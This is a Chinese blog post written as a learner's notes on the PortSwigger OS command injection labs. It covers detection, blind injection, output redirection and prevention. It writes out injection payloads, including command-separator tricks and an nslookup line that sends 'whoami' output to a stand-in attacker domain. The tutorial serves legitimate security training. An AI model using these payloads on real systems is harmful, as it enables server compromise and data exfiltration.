freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

服务器端漏洞篇之OS命令注入专题
2023-08-12 23:52:24

学习了三天,给梨子学爽了,有没有更好玩的漏洞呀,这不就来了,命令注入专题!!!听着就好危险啊,赶紧学起来吧。

声明

该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。

本系列介绍

PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。

梨子有话说

梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。

服务器端漏洞篇介绍

burp官方说他们建议初学者先看服务器漏洞篇,因为初学者只需要了解服务器端发生了什么就可以了

服务器端漏洞篇 - OS命令注入专题

什么是OS命令注入?

OS命令注入,顾名思义就是像Sql注入一样,将OS命令插入到某些地方被应用系统执行,这类漏洞的危害我相信不用我多说吧,严重的,可能从而控制整台服务器,好恐怖哦,那么接下来梨子就稍微讲一讲这类漏洞吧

执行任意命令

我们试想这样的场景,有一个商城应用程序中,可以通过一个URL查看是否还有库存,这个URL长这样

https://insecure-website.com/stockStatus?productID=381&storeID=29

我们看到它是通过参数productID和storeID来定位商品的,然后呢,后端是怎么执行查询功能的呢,这种方式梨子也是第一次见,就是开发将查询功能做成了一个脚本,然后通过GET请求的这两个参数去定位商品,返回库存

stockreport.pl 381 29

从上面来看,我们再试想一下,如果这个应用程序并没有检查参数的值是否合规就将其简单粗暴地附加到脚本的参数中会不会发生类似Sql注入的情况呢,于是我们做出了这样的尝试,我们将参数productID的值替换成下面这个

& echo aiwefwlguh &

然后我们看一下拼接以后是什么样子

stockreport.pl & echo aiwefwlguh & 29

在命令行中与运算符(&)可以在一条命令中执行多条命令,既然后端会执行这样一条命令,那么我们在前端就会收到这样的命令执行的结果

Error - productID was not provided
aiwefwlguh
29: command not found

我们看到虽然脚本因为缺失参数productID的值,但是并不影响执行其他命令,这就是一个简单的OS命令注入的例子

配套靶场:简单的OS命令注入

为了直观地看到OS命令注入的结果,我们选择在第二个参数中构造paylaod,首先我们先插入一个单引号('),如果存在OS命令注入的话会因为参数值不规范而报错
image
从上图来看,说明存在OS命令注入,然后我们就可以利用管道符(|)执行其他命令
image
我们看到回显中是OS命令whoami的执行结果,说明我们成功发动了OS命令注入
image

有用的命令

burp这里为初学者提供了一些比较常见的OS命令注入的命令,嘻嘻嘻,burp好贴心啊,真的是傻瓜式的教学,不管基础再差的初学者都可以听懂的哦

命令用途LinuxWindows
当前用户名whomaiwhoami
操作系统版本uname -aver
网络配置ifconfigipconfig /all
网络连接netstat -annetstat -an
运行中的进程ps -eftasklist

OS命令盲注漏洞

OS命令盲注,与Sql盲注相同,都是不会在回显中直接获取到OS命令注入结果的,需要结合其他技术获取OS命令注入结果,我们看一下这样一个场景,该应用程序存在一个反馈功能可以发送邮件到管理员那里,我们看到后端会执行这样的命令

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

我们看到后端使用的是mail命令,这个命令不会在响应中回显任何东西,这就导致我们无法直接从响应回显中看到命令注入结果,这时候就需要利用其他技术获取了

利用延时检测OS命令盲注漏洞

如果一个点存在不回显的OS命令注入,会出现虽然注入的OS命令可以被执行,但是我们接收不到结果,那么我们可以通过增加响应时间来判断是否执行了我们注入的语句,比如我们可以利用ping发一定数量的包来达到这种效果

& ping -c 10 127.0.0.1 &

从上面我们看到我们发出了10个包,那么响应时间就会被延后大概10秒钟的时间,这样我们就能判断这个地方存在OS命令盲注漏洞

配套靶场:利用延时检测OS命令盲注漏洞

就像我们刚才讲的,然后上手操作一下,基本没什么难度的
image
我们看到我们的响应时间延后了10秒左右的样子,说明后端执行了我们注入的OS命令
image

利用重定向输出触发OS命令盲注

在了解到如何检测OS命令盲注漏洞以后,我们就要学习如何触发这个漏洞,这里介绍的方法是重定向输出,什么是重定向输出呢?就是将输出从其他的通道发出来,我们可以将OS命令盲注的结果写入到某个文件下,比如根目录的某个文件,然后我们就可以直接访问那个文件获取到结果了,比如我们注入这样的OS命令

& whoami > /var/www/static/whoami.txt &

如果应用程序存在OS命令盲注漏洞的话,则会在Web根目录下生成这样一个文件,里面保存着OS命令盲注的结果,这里有一个小知识给初学者讲一下哦,就是重定向输出符(>),正常情况会输出到命令行的嘛,但是利用这个操作符以后就可以将输出重定向到我们指定的地方,比如txt文件

配套靶场:利用重定向输出触发OS命令盲注

我们刚才已经讲的很详细了,大家手肯定痒痒了,那就稍微动动手玩玩
image
然后我们访问一下对应的文件看一下有没有我们想要的东西
image
好的,我们看到不仅能访问到那个文件,并且还能看到里面的内容,说明我们成功触发OS命令盲注
image

利用带外技术(OAST)检测与触发OS命令盲注

之前我们在介绍Sql盲注的时候也介绍过带外技术,在OS命令盲注中同理,只不过是执行的位置不同罢了,比如我们注入这样OS命令

& nslookup kgji2ohoyw.web-attacker.com &

上面这条命令只是利用带外技术检测OS命令盲注,当攻击者的服务器检测到有DNS流量即表示存在OS命令盲注漏洞


那么我们如何触发OS命令盲注呢?我们可以将OS命令盲注的结果拼接到所请求的域中,像这样的

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

如果应用程序存在OS命令盲注的话,则我们可以在攻击者服务器接收到这样的DNS流量

wwwuser.kgji2ohoyw.web-attacker.com

配套靶场:利用带外技术检测OS命令盲注

通过对前面知识的学习,我们知道我们要找提交反馈的点,于是我们在HTTP History中找到了请求包,插入我们的payload
image
然后我们来到collaborator看看有没有收到什么
image
看,我们收到了DNS请求,说明我们成功触发了OS命令盲注
image

配套靶场:利用带外技术触发OS命令盲注

步骤是差不多的,只不过是要稍微改一下payload,将要注入的OS命令用反引号(`)括起来
image
然后我们就可以在我们的collaborator接收到夹带OS命令盲注结果的DNS请求了
image
看,我们从而得知当前用户名是peter
image

OS命令注入方式

通过上面的学习,我们了解到注入的OS命令需要搭配命令分隔符使用,以下命令分隔符是Linux和Windows系统下通用的

  • &

  • &&

  • |

  • ||

还有几个是只有Linux系统下的

  • ;

  • 换行符(0x0a or \n)

在Linux系统上,还可以使用反引号(`)或美元符号($)对注入命令进行内联执行,这样方便我们将结果拼接到带外地址中,有的时候我们的输入会被括在引号里面,不用慌,我们只需要在输入中利用引号闭合掉就可以继续注入我们的命令了

如何防止OS命令注入攻击?

从前面讲的内容来看,导致OS命令注入的原因是我们直接将输入与命令前缀拼接执行,这样风险非常大的,如果我们不能接入一些API来实现执行命令,我们就需要实施严格的输入过滤,大概有以下几种方法

  • 设置白名单并禁止白名单外的字符存在于输入中

  • 验证输入数据类型是否符合要求

这里burp建议千万不要转义shell元字符,为了防止老手用骚操作绕过

总结

以上就是梨子去上PortSwigger网络安全学院系列之服务器端漏洞篇 - OS命令注入专题的全部内容啦,OS命令注入的危害还是非常严重的,如果检测到这类漏洞,就可以轻而易举地让服务器做任何你想要它做的事,希望大家能够大概了解OS命令注入的漏洞原理,大家有任何疑问欢迎在评论区讨论哦!

# burpsuite # web安全 # 命令注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录